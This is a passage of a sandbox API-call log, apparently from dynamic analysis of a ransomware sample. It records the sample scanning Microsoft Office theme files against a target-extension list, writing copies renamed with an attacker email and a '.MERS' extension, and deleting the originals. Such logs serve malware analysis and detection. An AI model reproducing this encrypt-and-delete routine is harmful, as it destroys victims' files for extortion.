lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.390] lstrlenW (lpString=".bz2") returned 4 [0047.390] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.391] lstrlenW (lpString=".7z") returned 3 [0047.391] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.391] lstrlenW (lpString=".dbf") returned 4 [0047.391] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.391] lstrlenW (lpString=".1cd") returned 4 [0047.391] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.391] lstrlenW (lpString=".jpg") returned 4 [0047.391] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.391] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0047.391] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.392] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1925) returned 1 [0047.392] CloseHandle (hObject=0x204) returned 1 [0047.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0047.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.392] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.392] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.604] GetLastError () returned 0x0 [0047.604] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x785, lpOverlapped=0x0) returned 1 [0047.614] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x790, lpOverlapped=0x0) returned 1 [0047.615] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.615] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.615] SetEndOfFile (hFile=0x21c) returned 1 [0047.615] CloseHandle (hObject=0x21c) returned 1 [0047.616] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.616] SetEndOfFile (hFile=0x204) returned 1 [0047.616] CloseHandle (hObject=0x204) returned 1 [0047.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.617] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.617] lstrlenW (lpString=".doc") returned 4 [0047.617] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.617] lstrlenW (lpString=".docx") returned 5 [0047.617] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.617] lstrlenW (lpString=".pdf") returned 4 [0047.617] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.617] lstrlenW (lpString=".xls") returned 4 [0047.617] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.617] lstrlenW (lpString=".xlsx") returned 5 [0047.617] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.617] lstrlenW (lpString=".ppt") returned 4 [0047.617] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.617] lstrlenW (lpString=".zip") returned 4 [0047.617] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.617] lstrlenW (lpString=".rar") returned 4 [0047.617] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.617] lstrlenW (lpString=".bz2") returned 4 [0047.618] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.618] lstrlenW (lpString=".7z") returned 3 [0047.618] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.618] lstrlenW (lpString=".dbf") returned 4 [0047.618] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.618] lstrlenW (lpString=".1cd") returned 4 [0047.618] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.618] lstrlenW (lpString=".jpg") returned 4 [0047.618] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.618] lstrlenW (lpString=".doc") returned 4 [0047.618] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.618] lstrlenW (lpString=".docx") returned 5 [0047.618] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.619] lstrlenW (lpString=".pdf") returned 4 [0047.619] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.619] lstrlenW (lpString=".xls") returned 4 [0047.619] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.619] lstrlenW (lpString=".xlsx") returned 5 [0047.619] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.619] lstrlenW (lpString=".ppt") returned 4 [0047.619] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.619] lstrlenW (lpString=".zip") returned 4 [0047.619] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.619] lstrlenW (lpString=".rar") returned 4 [0047.619] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.619] lstrlenW (lpString=".bz2") returned 4 [0047.619] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.619] lstrlenW (lpString=".7z") returned 3 [0047.619] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.619] lstrlenW (lpString=".dbf") returned 4 [0047.619] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.619] lstrlenW (lpString=".1cd") returned 4 [0047.619] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0047.619] lstrlenW (lpString=".jpg") returned 4 [0047.619] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.620] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0047.620] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.620] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2722) returned 1 [0047.620] CloseHandle (hObject=0x204) returned 1 [0047.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0047.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0047.620] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.620] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.675] GetLastError () returned 0x0 [0047.675] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0047.695] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0047.696] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.696] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.696] SetEndOfFile (hFile=0x21c) returned 1 [0047.696] CloseHandle (hObject=0x21c) returned 1 [0047.697] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.697] SetEndOfFile (hFile=0x204) returned 1 [0047.697] CloseHandle (hObject=0x204) returned 1 [0047.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.698] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0047.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.698] lstrlenW (lpString=".doc") returned 4 [0047.698] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.698] lstrlenW (lpString=".docx") returned 5 [0047.698] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.698] lstrlenW (lpString=".pdf") returned 4 [0047.698] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.698] lstrlenW (lpString=".xls") returned 4 [0047.698] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.698] lstrlenW (lpString=".xlsx") returned 5 [0047.698] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.698] lstrlenW (lpString=".ppt") returned 4 [0047.698] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.698] lstrlenW (lpString=".zip") returned 4 [0047.698] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.699] lstrlenW (lpString=".rar") returned 4 [0047.699] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.699] lstrlenW (lpString=".bz2") returned 4 [0047.699] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.699] lstrlenW (lpString=".7z") returned 3 [0047.699] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.699] lstrlenW (lpString=".dbf") returned 4 [0047.699] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.699] lstrlenW (lpString=".1cd") returned 4 [0047.699] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.699] lstrlenW (lpString=".jpg") returned 4 [0047.699] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.699] lstrlenW (lpString=".doc") returned 4 [0047.699] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.699] lstrlenW (lpString=".docx") returned 5 [0047.699] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.699] lstrlenW (lpString=".pdf") returned 4 [0047.699] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.699] lstrlenW (lpString=".xls") returned 4 [0047.699] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.699] lstrlenW (lpString=".xlsx") returned 5 [0047.699] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.700] lstrlenW (lpString=".ppt") returned 4 [0047.700] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.700] lstrlenW (lpString=".zip") returned 4 [0047.700] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.700] lstrlenW (lpString=".rar") returned 4 [0047.700] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.700] lstrlenW (lpString=".bz2") returned 4 [0047.700] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.700] lstrlenW (lpString=".7z") returned 3 [0047.700] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.700] lstrlenW (lpString=".dbf") returned 4 [0047.700] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.700] lstrlenW (lpString=".1cd") returned 4 [0047.700] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.700] lstrlenW (lpString=".jpg") returned 4 [0047.700] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.700] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0047.700] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.860] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=32607) returned 1 [0047.860] CloseHandle (hObject=0x1a4) returned 1 [0047.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0047.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.861] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.861] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.861] GetLastError () returned 0x0 [0047.861] ReadFile (in: hFile=0x1a4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0047.915] WriteFile (in: hFile=0x1f0, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0047.917] ReadFile (in: hFile=0x1a4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.917] WriteFile (in: hFile=0x1f0, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.917] SetEndOfFile (hFile=0x1f0) returned 1 [0047.917] CloseHandle (hObject=0x1f0) returned 1 [0047.917] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.917] SetEndOfFile (hFile=0x1a4) returned 1 [0047.918] CloseHandle (hObject=0x1a4) returned 1 [0047.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0047.919] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0047.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.919] lstrlenW (lpString=".doc") returned 4 [0047.919] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.919] lstrlenW (lpString=".docx") returned 5 [0047.919] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.919] lstrlenW (lpString=".pdf") returned 4 [0047.919] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.919] lstrlenW (lpString=".xls") returned 4 [0047.919] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.919] lstrlenW (lpString=".xlsx") returned 5 [0047.919] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.919] lstrlenW (lpString=".ppt") returned 4 [0047.919] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.919] lstrlenW (lpString=".zip") returned 4 [0047.920] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.920] lstrlenW (lpString=".rar") returned 4 [0047.920] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.920] lstrlenW (lpString=".bz2") returned 4 [0047.920] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.920] lstrlenW (lpString=".7z") returned 3 [0047.920] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.920] lstrlenW (lpString=".dbf") returned 4 [0047.920] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.920] lstrlenW (lpString=".1cd") returned 4 [0047.920] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.920] lstrlenW (lpString=".jpg") returned 4 [0047.920] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.920] lstrlenW (lpString=".doc") returned 4 [0047.920] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.920] lstrlenW (lpString=".docx") returned 5 [0047.920] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.920] lstrlenW (lpString=".pdf") returned 4 [0047.920] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.921] lstrlenW (lpString=".xls") returned 4 [0047.921] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.921] lstrlenW (lpString=".xlsx") returned 5 [0047.921] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.921] lstrlenW (lpString=".ppt") returned 4 [0047.921] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0047.921] lstrlenW (lpString=".zip") returned 4 [0047.921] lstrcmpiW 